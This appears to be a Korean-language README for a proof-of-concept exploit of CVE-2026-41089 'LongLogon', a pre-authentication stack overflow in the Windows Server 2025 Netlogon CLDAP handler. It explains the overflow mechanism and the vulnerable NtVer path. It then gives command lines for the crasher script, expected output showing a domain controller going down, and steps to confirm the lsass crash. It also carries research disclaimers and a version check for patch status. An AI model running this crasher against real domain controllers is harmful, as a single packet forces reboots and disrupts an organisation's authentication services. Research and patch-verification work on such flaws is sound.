
CVE-2026-41089 LongLogon: 패치되지 않은 Windows Server 2025 Netlogon(lsass 0xc0000409)을 대상으로 하는 사전 인증 CLDAP(UDP/389) 스택 버퍼 오버플로 크래셔. 표준 라이브러리만 사용하는 Python PoC + 실습 환경 분석 문서.
Windows Server 2025의 Netlogon 서비스에서 발생하는 인증 전 스택 버퍼 오버플로우입니다. 네트워크상의 어떤 호스트에서든 단일 CLDAP 패킷(UDP/389) 하나면 충분합니다: lsass.exe가 STATUS_STACK_BUFFER_OVERRUN(0xc0000409)으로 종료되고 도메인 컨트롤러가 재부팅됩니다.
Netlogon CLDAP ping에 대한 응답은 528바이트 스택 버퍼에 직렬화됩니다. 서버는 자신의 이름(포리스트, 도메인, 호스트 이름)을 쓴 뒤 공격자가 제어하는 User 필드(최대 130 와이드 문자)를 씁니다. 총 채움량이 536바이트(버퍼 + 스택 쿠키)에 도달하면, 후행 L'\0'이 /GS 쿠키를 덮어쓰고 프로세스가 크래시합니다.
NtVer 필드가 코드 경로를 결정합니다: 0x02는 취약한 BuildSamLogonResponse를 타고, 0x06 / 0x16은 경계가 지정된(안전한) BuildSamLogonResponseEx를 탑니다. 이 PoC는 NtVer = 0x02를 전송합니다.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run User=1(무해)로 프로브하고 예상 채움량을 표시하며, 발사하지 않음 --shots N 전송할 오버플로우 패킷 수 (기본값 1) --confirm-wait S 무응답 발사 후 재프로브 전 대기 시간 (기본값 75초) --force 예상 채움량이 536바이트 미만이어도 발사
예시 (IP와 도메인을 실습 환경 값으로 교체하세요):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
발사 시 예상 출력:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
종료 코드: 0 크래시 가능성 높음, 1 초기 프로브에서 DC 무응답, 2 채움량이 536바이트 미만(경계선), 3 DC 생존.
참고: 스크립트가 75초 후 재프로브하는 이유는 단일 무응답 패킷이 손실된 UDP 데이터그램일 수도 있기 때문입니다. 무응답만으로 크래시를 단정하지 마세요.
연구 저장소의 공식 검사기를 사용하세요. User=1로 프로브하므로 DC는 계속 살아 있습니다:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
예상 결과: 최소 536바이트의 예상 채움량과 함께 "PRECONDITION MET".
검사기는 패치 상태를 증명하지 않습니다: 패치된 DC도 동일한 코드 경로를 타고 단지 과도하게 긴 쓰기를 거부할 뿐입니다. DC에서 netlogon.dll 버전을 직접 확인하세요 (< 10.0.26100.32772 = 취약).
DC에서, 다시 부팅된 후:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
이벤트 1000을 찾으세요: 오류 발생 애플리케이션 lsass.exe, 오류 발생 모듈 netlogon.DLL, 예외 코드 0xc0000409, 그리고 발사 시각보다 늦은 부팅 시간.
Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230(패치되지 않음), 64자 도메인 + 63자 호스트 이름(예상 채움량 581바이트)에서 테스트했습니다. 패킷 하나 발사:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
이 PoC는 교육 및 연구 목적으로만 제공됩니다. Windows Server 2025의 격리된 실습 환경에서 개발 및 테스트되었습니다. 사용에 따른 책임은 사용자에게 있습니다.
이 스크립트를 사용함으로써 귀하는 작성자가 데이터 손실, 서비스 중단, 하드웨어 손상 또는 기타 직접적·간접적 결과에 대해 책임지지 않는다는 데 동의하는 것입니다. 크래시는 비멱등적입니다: 대상 도메인 컨트롤러가 재부팅됩니다. 발사 전에 스냅샷을 찍으세요.
이 PoC가 프로덕션 환경이나 모든 Windows Server 2025 빌드에서 작동한다는 보증은 없습니다.